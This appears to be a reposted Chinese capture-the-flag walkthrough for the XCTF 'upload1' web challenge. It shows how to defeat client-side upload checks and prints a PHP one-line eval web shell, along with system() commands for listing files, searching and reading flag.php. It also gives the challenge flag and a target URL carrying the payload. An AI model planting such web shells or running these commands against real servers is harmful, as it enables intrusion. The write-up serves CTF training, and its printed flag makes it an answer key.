XCTF-攻防世界CTF平台-Web类——11upload1
Posted 大灬白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-Web类——11upload1相关的知识,希望对你有一定的参考价值。
打开题目地址:
是一个文件上传的题目
选择一个一句话脚本上传:
前端存在JS代码校验文件类型,如果上传的文件后缀不是jpg和png,就会让上传按钮变得不使能:
要绕过前端的JS代码校验,常见的方法有:
(1)把οnchange="check();去掉
可以直接把οnchange="check();去掉,这样提交文件的时候就不会校验文件类型了。
F12查看页面代码:
删除οnchange="check();
结果发现选择了1.php文件之后,依然校验了文件后缀,让上传按钮变得不使能了:
但是在火狐浏览器删除οnchange="check();之后,却已经可以上传1.php文件了:
点击上传:
上传成功!
所以谷歌浏览器可能需要把整段JS代码都删掉,那我们干脆直接选择了1.php文件之后:
把上传按钮的disable属性去掉:
之后上传按钮就变得使能了,上传1.php:
上传成功!
(2)禁用浏览器的JS脚本运行
禁用浏览器的JS脚本运行,这样提交文件的时候就也不会校验文件类型了。
例如谷歌浏览器,在高级设置->隐私设置和安全性->javascript中,或者直接输入网址:
chrome://settings/content/javascript
不允许网站使用 JavaScript,可以暂时设置所有网站或者指定目标网址不能执行JavaScript脚本。
再选择1.php:
没有触发js脚本,上传按钮依旧使能,可以直接上传:
上传成功!
(3)Burp Suite抓包修改文件后缀名
先将,从浏览器选择11.jpg上传,然后Burp Suite抓包:
之后发送到重发器,将11.jpg改回11.php然后再发送:
也能成功上传。
POST方法一句话木马
<?php @eval($_POST['attack']); ?>
一句话木马的原理,通过php的eval函数执行由POST方式提交的attack变量的值,就是把attack=xxx 字符串当成php语句执行。这里的attack只是变量名,也可以改成其他的。
这个一句话木马需要用POST方式提交attack变量的值:
attack=phpinfo();
phpinfo()输出PHP当前状态的大量信息,包含了 PHP 编译选项、启用的扩展、PHP 版本、服务器信息和环境变量(如果编译为一个模块的话)、PHP环境变量、操作系统版本信息、path 变量、配置选项的本地值和主值、HTTP 头和PHP授权信息(License)。
之后我们可以执行查看当前目录下文件的命令:
attack=system('ls');
之后搜索flag文件:
attack=system('find / -name "flag*" ');
发现在/var/www/html/flag.php路径下有flag:
查看flag文件:
attack=system('cat /var/www/html/flag.php');
返回的flag.php文件内容在注释中,得到flag:cyberpeace96e8b99eee701e52288e986eb8ea3f2c
GET方法一句话木马
<?php @eval($_GET['attack']); ?>一句话木马也可以通过GET方式提交attack变量的值。
上传一个2.php
之后连接:
http://111.200.241.244:54118/upload/1637599461.2.php?attack=system('cat /var/www/html/flag.php');
得到flag:cyberpeace96e8b99eee701e52288e986eb8ea3f2c
蚁剑连接
此外也可以用蚁剑连接:
<?php @eval($_POST['attack']); ?>
连接第一个POST方式的一句话木马:
之后就可以使用虚拟终端、查看文件管理、进行数据库操作等:
找到flag.php:
得到flag:cyberpeace96e8b99eee701e52288e986eb8ea3f2c
以上是关于XCTF-攻防世界CTF平台-Web类——11upload1的主要内容,如果未能解决你的问题,请参考以下文章
XCTF-攻防世界CTF平台-Web类——8NaNNaNNaNNaN-Batman
XCTF-攻防世界CTF平台-Web类——8NaNNaNNaNNaN-Batman(JS代码加密)
XCTF-攻防世界CTF平台-Web类——1baby_web